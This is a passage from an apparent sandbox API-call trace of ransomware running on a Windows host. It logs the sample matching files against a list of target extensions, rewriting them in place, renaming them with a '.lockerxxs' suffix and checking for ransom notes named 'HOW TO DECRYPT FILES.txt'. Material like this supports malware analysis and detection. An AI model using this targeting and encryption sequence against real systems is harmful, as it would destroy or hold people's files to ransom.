HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.java") returned 0 [0089.928] lstrlenA (lpString="*.java") returned 6 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.asm") returned 0 [0089.928] lstrlenA (lpString="*.asm") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.pfx") returned 0 [0089.928] lstrlenA (lpString="*.pfx") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.pem") returned 0 [0089.928] lstrlenA (lpString="*.pem") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.p12") returned 0 [0089.928] lstrlenA (lpString="*.p12") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.gpg") returned 0 [0089.928] lstrlenA (lpString="*.gpg") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.vsd") returned 0 [0089.928] lstrlenA (lpString="*.vsd") returned 5 [0089.928] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.odg") returned 0 [0089.929] lstrlenA (lpString="*.odg") returned 5 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.raw") returned 0 [0089.929] lstrlenA (lpString="*.raw") returned 5 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.nef") returned 0 [0089.929] lstrlenA (lpString="*.nef") returned 5 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.svg") returned 0 [0089.929] lstrlenA (lpString="*.svg") returned 5 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.psd") returned 0 [0089.929] lstrlenA (lpString="*.psd") returned 5 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.vmx") returned 0 [0089.929] lstrlenA (lpString="*.vmx") returned 5 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.vmdk") returned 0 [0089.929] lstrlenA (lpString="*.vmdk") returned 6 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.vdi") returned 0 [0089.929] lstrlenA (lpString="*.vdi") returned 5 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.lay6") returned 0 [0089.929] lstrlenA (lpString="*.lay6") returned 6 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.mpeg") returned 0 [0089.929] lstrlenA (lpString="*.mpeg") returned 6 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.djvu") returned 0 [0089.929] lstrlenA (lpString="*.djvu") returned 6 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.tiff") returned 0 [0089.929] lstrlenA (lpString="*.tiff") returned 6 [0089.929] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.backup") returned 0 [0089.929] lstrlenA (lpString="*.backup") returned 8 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.pdf") returned 0 [0089.930] lstrlenA (lpString="*.pdf") returned 5 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.cert") returned 0 [0089.930] lstrlenA (lpString="*.cert") returned 6 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.docm") returned 0 [0089.930] lstrlenA (lpString="*.docm") returned 6 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.xlsm") returned 0 [0089.930] lstrlenA (lpString="*.xlsm") returned 6 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.dwg") returned 0 [0089.930] lstrlenA (lpString="*.dwg") returned 5 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.nd") returned 0 [0089.930] lstrlenA (lpString="*.nd") returned 4 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.tlg") returned 0 [0089.930] lstrlenA (lpString="*.tlg") returned 5 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.lgb") returned 0 [0089.930] lstrlenA (lpString="*.lgb") returned 5 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.mov") returned 0 [0089.930] lstrlenA (lpString="*.mov") returned 5 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.xdw") returned 0 [0089.930] lstrlenA (lpString="*.xdw") returned 5 [0089.930] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.ods") returned 0 [0089.930] lstrlenA (lpString="*.ods") returned 5 [0089.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.wav") returned 0 [0089.931] lstrlenA (lpString="*.wav") returned 5 [0089.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.mp3") returned 0 [0089.931] lstrlenA (lpString="*.mp3") returned 5 [0089.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.aiff") returned 0 [0089.931] lstrlenA (lpString="*.aiff") returned 6 [0089.931] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.flac") returned 0 [0089.931] lstrlenA (lpString="*.flac") returned 6 [0089.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.m4a") returned 0 [0089.932] lstrlenA (lpString="*.m4a") returned 5 [0089.932] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", pszSpec="*.csv") returned 1 [0089.932] lstrlenA (lpString="*.csv") returned 5 [0089.932] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv" [0089.932] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv" [0089.932] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv." [0089.932] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv.lockerxxs" [0089.932] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\uvqs5h1cjmlddvvjmi7m.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0089.933] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14bfc [0089.933] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x19ab8fd0, dwHighDateTime=0x1d5e53c), lpLastAccessTime=0x407536*(dwLowDateTime=0xa24c6ce0, dwHighDateTime=0x1d5db4d), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa24c6ce0, dwHighDateTime=0x1d5db4d)) returned 1 [0089.933] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.933] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x14bd6, lpOverlapped=0x0) returned 1 [0089.935] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv") returned="UvQs5h1cJMlDDVvjMi7m.csv" [0089.936] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0089.936] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x14bd6, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x14bd6, lpOverlapped=0x0) returned 1 [0089.936] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0089.936] CloseHandle (hObject=0x8c) returned 1 [0089.936] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\uvqs5h1cjmlddvvjmi7m.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\xAj0Z4ZNL\\UvQs5h1cJMlDDVvjMi7m.csv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\xaj0z4znl\\uvqs5h1cjmlddvvjmi7m.csv.lockerxxs")) returned 1 [0090.085] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19ab8fd0, ftCreationTime.dwHighDateTime=0x1d5e53c, ftLastAccessTime.dwLowDateTime=0xa24c6ce0, ftLastAccessTime.dwHighDateTime=0x1d5db4d, ftLastWriteTime.dwLowDateTime=0xa24c6ce0, ftLastWriteTime.dwHighDateTime=0x1d5db4d, nFileSizeHigh=0x0, nFileSizeLow=0x14bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="UvQs5h1cJMlDDVvjMi7m.csv", cAlternateFileName="UVQS5H~1.CSV")) returned 0 [0090.085] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0090.085] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9adc580, ftCreationTime.dwHighDateTime=0x1d5621d, ftLastAccessTime.dwLowDateTime=0xed91e1e0, ftLastAccessTime.dwHighDateTime=0x1d5cdf5, ftLastWriteTime.dwLowDateTime=0xed91e1e0, ftLastWriteTime.dwHighDateTime=0x1d5cdf5, nFileSizeHigh=0x0, nFileSizeLow=0x5f03, dwReserved0=0x52d540, dwReserved1=0x4ff4e8, cFileName="z78YS7XFVdUaKb.xlsx", cAlternateFileName="Z78YS7~1.XLS")) returned 1 [0090.085] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0090.085] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="z78YS7XFVdUaKb.xlsx") returned -1 [0090.085] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="z78YS7XFVdUaKb.xlsx") returned -1 [0090.085] lstrcmpiA (lpString1="", lpString2="z78YS7XFVdUaKb.xlsx") returned -1 [0090.085] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*.*") returned="*.*" [0090.086] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" [0090.086] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="" [0090.086] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" [0090.086] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\how to decrypt files.txt")) returned 0x20 [0090.086] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpString2="z78YS7XFVdUaKb.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx" [0090.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.ems") returned 0 [0090.086] lstrlenA (lpString="*.ems") returned 5 [0090.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.db") returned 0 [0090.086] lstrlenA (lpString="*.db") returned 4 [0090.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.dbf") returned 0 [0090.086] lstrlenA (lpString="*.dbf") returned 5 [0090.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.myox") returned 0 [0090.086] lstrlenA (lpString="*.myox") returned 6 [0090.086] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.myo") returned 0 [0090.086] lstrlenA (lpString="*.myo") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qbw") returned 0 [0090.087] lstrlenA (lpString="*.qbw") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qbb") returned 0 [0090.087] lstrlenA (lpString="*.qbb") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qbm") returned 0 [0090.087] lstrlenA (lpString="*.qbm") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qbo") returned 0 [0090.087] lstrlenA (lpString="*.qbo") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qbx") returned 0 [0090.087] lstrlenA (lpString="*.qbx") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qba") returned 0 [0090.087] lstrlenA (lpString="*.qba") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qby") returned 0 [0090.087] lstrlenA (lpString="*.qby") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qbj") returned 0 [0090.087] lstrlenA (lpString="*.qbj") returned 5 [0090.087] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.ofx") returned 0 [0090.087] lstrlenA (lpString="*.ofx") returned 5 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.qif") returned 0 [0090.088] lstrlenA (lpString="*.qif") returned 5 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.mye") returned 0 [0090.088] lstrlenA (lpString="*.mye") returned 5 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.mbox") returned 0 [0090.088] lstrlenA (lpString="*.mbox") returned 6 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.eml") returned 0 [0090.088] lstrlenA (lpString="*.eml") returned 5 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.pst") returned 0 [0090.088] lstrlenA (lpString="*.pst") returned 5 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.ost") returned 0 [0090.088] lstrlenA (lpString="*.ost") returned 5 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.idx") returned 0 [0090.088] lstrlenA (lpString="*.idx") returned 5 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.dbx") returned 0 [0090.088] lstrlenA (lpString="*.dbx") returned 5 [0090.088] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.sql") returned 0 [0090.088] lstrlenA (lpString="*.sql") returned 5 [0090.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.mdb") returned 0 [0090.089] lstrlenA (lpString="*.mdb") returned 5 [0090.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.fdb") returned 0 [0090.089] lstrlenA (lpString="*.fdb") returned 5 [0090.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.wab") returned 0 [0090.089] lstrlenA (lpString="*.wab") returned 5 [0090.089] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.dat") returned 0 [0090.089] lstrlenA (lpString="*.dat") returned 5 [0090.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.txt") returned 0 [0090.090] lstrlenA (lpString="*.txt") returned 5 [0090.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.jpeg") returned 0 [0090.090] lstrlenA (lpString="*.jpeg") returned 6 [0090.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.jpg") returned 0 [0090.090] lstrlenA (lpString="*.jpg") returned 5 [0090.090] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.png") returned 0 [0090.090] lstrlenA (lpString="*.png") returned 5 [0090.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.php") returned 0 [0090.091] lstrlenA (lpString="*.php") returned 5 [0090.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.cs") returned 0 [0090.091] lstrlenA (lpString="*.cs") returned 4 [0090.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.cpp") returned 0 [0090.091] lstrlenA (lpString="*.cpp") returned 5 [0090.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.rar") returned 0 [0090.091] lstrlenA (lpString="*.rar") returned 5 [0090.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.zip") returned 0 [0090.091] lstrlenA (lpString="*.zip") returned 5 [0090.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.html") returned 0 [0090.091] lstrlenA (lpString="*.html") returned 6 [0090.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.htm") returned 0 [0090.091] lstrlenA (lpString="*.htm") returned 5 [0090.091] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", pszSpec="*.xlsx") returned 1 [0090.091] lstrlenA (lpString="*.xlsx") returned 6 [0090.091] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx" [0090.091] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx" [0090.091] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx." [0090.091] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx.lockerxxs" [0090.091] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\z78YS7XFVdUaKb.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\z78ys7xfvduakb.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 